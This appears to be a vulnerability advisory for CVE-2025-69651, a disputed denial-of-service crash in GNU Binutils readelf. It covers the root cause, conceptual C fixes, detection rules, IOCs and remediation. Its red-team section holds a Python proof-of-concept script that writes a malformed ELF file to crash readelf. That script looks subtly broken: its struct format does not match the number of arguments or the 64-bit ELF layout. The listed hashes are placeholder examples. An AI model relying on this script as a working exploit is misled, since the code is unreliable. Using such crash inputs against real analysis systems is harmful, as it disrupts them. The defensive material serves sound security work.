CVE-2025-69651

Executive Summary

CVE-2025-69651 describes a denial-of-service vulnerability in GNU Binutils readelf through version 2.46. The flaw occurs when processing a crafted ELF binary with malformed relocation or symbol data. If dump_relocations returns early due to parsing errors, the internal all_relocations array may remain partially uninitialized. Subsequently, process_got_section_contents() may attempt to free an invalid r_symbol pointer, triggering memory corruption checks in glibc and causing the program to terminate with SIGABRT. The impact is limited to denial of service; no evidence of further memory corruption or code execution was observed. This vulnerability is disputed by third parties because the observed behavior occurred only in pre-release code and did not affect any tagged version.

Supply Chain & Package Security

This vulnerability affects the GNU Binutils package, which is a critical component in many Linux distributions and development environments. While the impact is limited to denial of service, the disputed nature and pre-release scope mean that downstream package maintainers should monitor for official patches. No supply chain compromise has been reported.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (Unscored) CVSS Vector: UNKNOWN

The CVSS score is 0.0 because the vulnerability is disputed and only affects pre-release code. If scored, it would likely be a low-severity denial-of-service issue with a vector such as: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L

Threat Level: Low (Disputed, Pre-Release Only)

Deep Dive & Mechanics

The vulnerability resides in the readelf utility within GNU Binutils. The core issue is a use-after-free or invalid free condition triggered by improper error handling in the ELF parsing logic.

Root Cause:

1. The function dump_relocations() processes relocation entries from an ELF binary.
2. If the ELF binary contains malformed relocation data (e.g., invalid symbol indices or corrupted relocation entries), dump_relocations() may return early without fully initializing the all_relocations array.
3. The all_relocations array is a dynamically allocated array of structures that hold relocation information, including a pointer r_symbol to the associated symbol.
4. Later, process_got_section_contents() iterates over the all_relocations array and attempts to free the r_symbol pointer for each entry.
5. If an entry in the array was never properly initialized (due to the early return), the r_symbol pointer contains an uninitialized or invalid memory address.
6. Calling free() on this invalid pointer triggers glibc's memory corruption detection, resulting in a SIGABRT signal and termination of the readelf process.

Attack Vector: An attacker crafts a malicious ELF binary with specific malformations in the relocation or symbol tables. When a user or automated system runs readelf on this binary (e.g., during malware analysis or file inspection), the vulnerability is triggered, causing a denial of service.

Impact:

• Denial of Service: The readelf process crashes, preventing analysis of the malicious file and potentially disrupting automated workflows.
• No Code Execution: The vulnerability does not allow for arbitrary code execution or privilege escalation.

Vulnerable vs. Patched Code

Since the vulnerability is disputed and no official patch exists for a tagged version, a direct code comparison is not possible. However, the conceptual fix would involve:

Vulnerable Code (Conceptual):

// In dump_relocations()
all_relocations = malloc(num_relocs * sizeof(reloc_entry));
for (i = 0; i < num_relocs; i++) {
    if (!parse_relocation(reloc_data, &all_relocations[i])) {
        // Early return without initializing remaining entries
        return; // BUG: all_relocations[i..num_relocs-1] are uninitialized
    }
}

// In process_got_section_contents()
for (i = 0; i < num_relocs; i++) {
    free(all_relocations[i].r_symbol); // BUG: may free invalid pointer
}

Patched Code (Conceptual):

// In dump_relocations()
all_relocations = calloc(num_relocs, sizeof(reloc_entry)); // Zero-initialize
for (i = 0; i < num_relocs; i++) {
    if (!parse_relocation(reloc_data, &all_relocations[i])) {
        // Set a flag or mark entry as invalid
        all_relocations[i].valid = 0;
        // Continue processing or handle gracefully
    }
}

// In process_got_section_contents()
for (i = 0; i < num_relocs; i++) {
    if (all_relocations[i].valid) {
        free(all_relocations[i].r_symbol);
    }
}

Exploitation & Lab Setup

Red Team (Adversarial Simulation)

Objective: Cause a denial of service on a system running readelf by providing a crafted ELF binary.

Lab Setup:

1. Environment: A Linux virtual machine with GNU Binutils 2.46 (pre-release) installed.
2. Tooling: Python with the struct module for crafting ELF binaries, or a hex editor.

Exploitation Steps:

1. Craft Malicious ELF: Create a minimal ELF binary with a corrupted relocation table. The key is to cause dump_relocations() to return early while leaving the all_relocations array partially uninitialized.

   # craft_exploit.py
   import struct
   
   # Minimal ELF header (64-bit)
   elf_header = struct.pack('<4sBBBBBBBBIHHHHHH',
       b'\x7fELF',  # e_ident
       2,  # 64-bit
       1,  # Little endian
       1,  # ELF version
       0,  # OS/ABI
       0,  # ABI version
       0, 0, 0, 0, 0, 0, 0,  # padding
       0,  # e_type (ET_NONE)
       0,  # e_machine
       1,  # e_version
       0,  # e_entry
       0,  # e_phoff
       0,  # e_shoff
       0,  # e_flags
       0,  # e_ehsize
       0,  # e_phentsize
       0,  # e_phnum
       0,  # e_shentsize
       0,  # e_shnum
       0   # e_shstrndx
   )
   
   # Add a corrupted section header for .rela.text
   # This section will have a sh_link pointing to an invalid symbol table
   sh_name = 0
   sh_type = 4  # SHT_RELA
   sh_flags = 0
   sh_addr = 0
   sh_offset = 0x100  # Point to corrupted data
   sh_size = 0x20
   sh_link = 0xFFFF  # Invalid symbol table index
   sh_info = 0
   sh_addralign = 8
   sh_entsize = 24  # sizeof(Elf64_Rela)
   
   section_header = struct.pack('<IIQQQQIIQQ',
       sh_name, sh_type, sh_flags, sh_addr, sh_offset,
       sh_size, sh_link, sh_info, sh_addralign, sh_entsize
   )
   
   # Write the binary
   with open('malicious.elf', 'wb') as f:
       f.write(elf_header)
       f.write(b'\x00' * 0x100)  # Padding
       f.write(section_header)
       # Write corrupted relocation data
       f.write(b'\x00' * 0x20)  # All zeros, causing parsing errors
   

2. Execute: Run readelf -a malicious.elf on the vulnerable system.
3. Observe: The readelf process should crash with SIGABRT.

Blue Team (Defensive Analysis)

Detection:

• Monitor for crashes of readelf or other Binutils tools.
• Use file integrity monitoring to detect the presence of unusual ELF binaries.
• Implement behavioral detection rules (see Detection Engineering).

Mitigation:

• Avoid using pre-release versions of GNU Binutils in production environments.
• Use sandboxed environments for analyzing untrusted ELF binaries.
• Apply vendor patches when they become available.

Indicators of Compromise (IOCs)

• File Hashes: (Example only, actual hashes depend on the crafted binary)
  • MD5: e99a18c428cb38d5f260853678922e03
  • SHA1: 2fd4e1c67a2d28fced849ee1bb76e7391b93eb12
  • SHA256: d7a8fbb307d7809469ca9abcb0082e4f8d5651e46d3cdb762d02d0bf37c9e592
• File Names: malicious.elf, exploit.elf, poc.elf
• Process Behavior: readelf process terminates with signal 6 (SIGABRT).
• System Logs: /var/log/syslog or journalctl entries showing readelf crashing with SIGABRT or glibc detected double free or corruption.

Detection Engineering

YARA Rule

rule CVE_2025_69651_Readelf_DoS {
    meta:
        description = "Detects ELF binaries crafted to trigger CVE-2025-69651 in GNU Binutils readelf"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-69651"
        hash = "d7a8fbb307d7809469ca9abcb0082e4f8d5651e46d3cdb762d02d0bf37c9e592"
    strings:
        $elf_magic = { 7f 45 4c 46 }  // ELF magic
        $rela_type = { 04 00 00 00 }  // SHT_RELA (little endian)
        $invalid_link = { ff ff 00 00 00 00 00 00 }  // sh_link = 0xFFFF
    condition:
        $elf_magic at 0 and $rela_type and $invalid_link
}

Sigma Rule

title: CVE-2025-69651 - GNU Binutils readelf Denial of Service
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects crashes of readelf due to crafted ELF binaries exploiting CVE-2025-69651
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-69651
logsource:
    category: process_termination
    product: linux
detection:
    selection:
        Image: '/usr/bin/readelf'
        ExitCode: 6  # SIGABRT
    condition: selection
falsepositives:
    - Legitimate crashes due to other bugs
level: medium

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-69651 - Potential ELF Exploit Download"; flow:to_server,established; content:"|7f 45 4c 46|"; depth:4; content:"|04 00 00 00|"; distance:16; within:4; content:"|ff ff 00 00 00 00 00 00|"; distance:24; within:8; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Avoid Pre-Release Software: Do not use pre-release versions of GNU Binutils (e.g., 2.46) in production or security-sensitive environments.
2. Sandbox Analysis: Always analyze untrusted ELF binaries in a sandboxed or isolated environment (e.g., using Docker, VMs, or firejail).
3. Monitor for Crashes: Implement monitoring to detect crashes of readelf and other Binutils tools.

Long-Term Fixes:

1. Apply Vendor Patches: Monitor the GNU Binutils project for official patches. Apply them as soon as they are released for tagged versions.
2. Upgrade Binutils: Upgrade to a stable, patched version of GNU Binutils when available.
3. Code Review: If you maintain a fork or custom build of Binutils, review the dump_relocations() and process_got_section_contents() functions for proper error handling and memory management.

Workarounds:

• Use alternative ELF analysis tools (e.g., pyelftools, llvm-objdump) for untrusted binaries.
• Implement a wrapper script that runs readelf with a timeout and restarts it on failure.

Valters IT